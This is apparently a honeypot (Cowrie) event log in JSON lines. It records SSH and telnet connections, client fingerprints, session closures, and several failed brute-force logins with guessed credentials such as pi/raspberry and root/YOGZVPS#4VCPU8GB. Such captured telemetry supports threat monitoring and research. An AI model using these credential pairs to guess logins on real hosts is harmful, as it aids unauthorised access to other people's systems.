{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:57.128314Z","src_ip":"209.99.189.174","session":"d7c9e667fd32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"saturday","message":"login attempt [admin/saturday] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:57.665507Z","src_ip":"209.99.189.174","session":"d7c9e667fd32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.398738384246826,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:58.253837Z","src_ip":"64.227.101.30","session":"a5c1c9e1205d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:58.794887Z","src_ip":"209.99.189.174","session":"d7c9e667fd32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.46985960006714,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:59.184682Z","src_ip":"64.227.101.30","session":"83481c0d98e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.64672231674194,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:00.107148Z","src_ip":"64.227.101.30","session":"b7d30f392d45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.57615303993225,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:03.036497Z","src_ip":"64.227.101.30","session":"4a3949499f38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":48258,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ff2dde81ba6","protocol":"telnet","message":"New connection: 68.183.198.12:48258 (159.203.135.109:23) [session: 1ff2dde81ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:03.832505Z"}
{"eventid":"cowrie.session.closed","duration":37.89658308029175,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:05.029715Z","src_ip":"64.227.101.30","session":"28cedd7abad7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33926,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7e11a12e4cf","protocol":"telnet","message":"New connection: 161.97.105.174:33926 (159.203.135.109:23) [session: d7e11a12e4cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:05.704537Z"}
{"eventid":"cowrie.session.closed","duration":1.9749140739440918,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:05.807277Z","src_ip":"68.183.198.12","session":"1ff2dde81ba6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36850,"dst_ip":"10.17.0.5","dst_port":23,"session":"4739bf4b4668","protocol":"telnet","message":"New connection: 64.227.101.30:36850 (10.17.0.5:23) [session: 4739bf4b4668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:05.912269Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36416,"dst_ip":"10.17.0.5","dst_port":23,"session":"70818e5d7b8b","protocol":"telnet","message":"New connection: 64.227.101.30:36416 (10.17.0.5:23) [session: 70818e5d7b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:06.908140Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36340,"dst_ip":"10.17.0.5","dst_port":23,"session":"a416db3fb93b","protocol":"telnet","message":"New connection: 64.227.101.30:36340 (10.17.0.5:23) [session: a416db3fb93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:07.748616Z"}
{"eventid":"cowrie.session.closed","duration":41.471402168273926,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:08.493106Z","src_ip":"64.227.101.30","session":"fa80c2e5eeb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.9440495967865,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:09.447987Z","src_ip":"64.227.101.30","session":"ab3e76692a5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.80388569831848,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:10.093946Z","src_ip":"68.183.198.12","session":"b78c1734d67d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.21122860908508,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:12.695232Z","src_ip":"64.227.101.30","session":"3689bb469970","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00107645988464,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:12.900534Z","src_ip":"64.227.101.30","session":"e0e7d8726084","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.66754865646362,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:13.625346Z","src_ip":"64.227.101.30","session":"df04ea771016","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.48018741607666,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:14.119258Z","src_ip":"64.227.101.30","session":"55ee7fa8587d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.64829778671265,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:15.404591Z","src_ip":"161.97.105.174","session":"02a586c27efc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":42973,"dst_ip":"10.17.0.5","dst_port":22,"session":"c783356564ce","protocol":"ssh","message":"New connection: 103.170.173.26:42973 (10.17.0.5:22) [session: c783356564ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:18.388945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:18.393215Z","src_ip":"103.170.173.26","session":"c783356564ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:18.661381Z","src_ip":"103.170.173.26","session":"c783356564ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":46044,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e1d64f73d3c","protocol":"ssh","message":"New connection: 94.156.152.18:46044 (159.203.135.109:22) [session: 4e1d64f73d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:18.736411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:18.742114Z","src_ip":"94.156.152.18","session":"4e1d64f73d3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.134.77.159","src_port":37747,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cbaa9e0900b","protocol":"telnet","message":"New connection: 220.134.77.159:37747 (10.17.0.5:23) [session: 3cbaa9e0900b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:18.757769Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:18.869035Z","src_ip":"94.156.152.18","session":"4e1d64f73d3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"YOGZVPS#4VCPU8GB","message":"login attempt [root/YOGZVPS#4VCPU8GB] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:19.241101Z","src_ip":"94.156.152.18","session":"4e1d64f73d3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.33531427383423,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:19.343741Z","src_ip":"64.227.101.30","session":"5b7676641b44","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qw12345678","message":"login attempt [ubuntu/Qw12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:19.753904Z","src_ip":"103.170.173.26","session":"c783356564ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:20.368877Z","src_ip":"94.156.152.18","session":"4e1d64f73d3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.93231439590454,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:20.887460Z","src_ip":"64.227.101.30","session":"8ea58289cee2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41814,"dst_ip":"10.17.0.5","dst_port":23,"session":"2abd2ab58c7b","protocol":"telnet","message":"New connection: 64.227.101.30:41814 (10.17.0.5:23) [session: 2abd2ab58c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:21.022231Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:21.027232Z","src_ip":"103.170.173.26","session":"c783356564ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42698,"dst_ip":"10.17.0.5","dst_port":23,"session":"1526d5930843","protocol":"telnet","message":"New connection: 64.227.101.30:42698 (10.17.0.5:23) [session: 1526d5930843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:22.994880Z"}
{"eventid":"cowrie.session.closed","duration":32.5120108127594,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:23.932023Z","src_ip":"64.227.101.30","session":"da08a11d7fe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":51838,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5d72c9d8dda","protocol":"telnet","message":"New connection: 68.183.198.12:51838 (159.203.135.109:23) [session: a5d72c9d8dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:24.800530Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":52030,"dst_ip":"159.203.135.109","dst_port":23,"session":"37f76fd2d79b","protocol":"telnet","message":"New connection: 68.183.198.12:52030 (159.203.135.109:23) [session: 37f76fd2d79b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:27.028959Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":52336,"dst_ip":"159.203.135.109","dst_port":23,"session":"94662ab39c80","protocol":"telnet","message":"New connection: 68.183.198.12:52336 (159.203.135.109:23) [session: 94662ab39c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:29.028344Z"}
{"eventid":"cowrie.session.closed","duration":39.708147048950195,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:31.533718Z","src_ip":"64.227.101.30","session":"54696eb48648","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":52600,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fe2b297a8f4","protocol":"telnet","message":"New connection: 68.183.198.12:52600 (159.203.135.109:23) [session: 6fe2b297a8f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:32.950681Z"}
{"eventid":"cowrie.session.closed","duration":44.79968976974487,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:37.672740Z","src_ip":"68.183.198.12","session":"ebb2d83d2402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.28456997871399,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:37.988994Z","src_ip":"161.97.105.174","session":"d7e11a12e4cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.92.6.70","src_port":34404,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fd317a36689","protocol":"ssh","message":"New connection: 64.92.6.70:34404 (159.203.135.109:22) [session: 8fd317a36689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:38.206818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2","message":"Remote SSH version: SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:38.260558Z","src_ip":"64.92.6.70","session":"8fd317a36689","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"ec7378c1a92f5a8dde7e8b7a1ddf33d1","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: ec7378c1a92f5a8dde7e8b7a1ddf33d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:38.308729Z","src_ip":"64.92.6.70","session":"8fd317a36689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00143957138062,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:38.457747Z","src_ip":"64.227.101.30","session":"2cd5e6742e9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.92.6.70","src_port":34418,"dst_ip":"159.203.135.109","dst_port":22,"session":"442c15b90e22","protocol":"ssh","message":"New connection: 64.92.6.70:34418 (159.203.135.109:22) [session: 442c15b90e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:38.517199Z"}
{"eventid":"cowrie.session.closed","duration":42.013888120651245,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:38.548997Z","src_ip":"68.183.198.12","session":"78901be94042","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2","message":"Remote SSH version: SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:38.572094Z","src_ip":"64.92.6.70","session":"442c15b90e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberryraspberry993311","message":"login attempt [pi/raspberryraspberry993311] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:38.612063Z","src_ip":"64.92.6.70","session":"8fd317a36689","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"ec7378c1a92f5a8dde7e8b7a1ddf33d1","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: ec7378c1a92f5a8dde7e8b7a1ddf33d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:38.621588Z","src_ip":"64.92.6.70","session":"442c15b90e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:38.915063Z","src_ip":"64.92.6.70","session":"442c15b90e22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:39.669642Z","src_ip":"64.92.6.70","session":"8fd317a36689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:56:39.970442Z","src_ip":"64.92.6.70","session":"442c15b90e22","protocol":"ssh"}
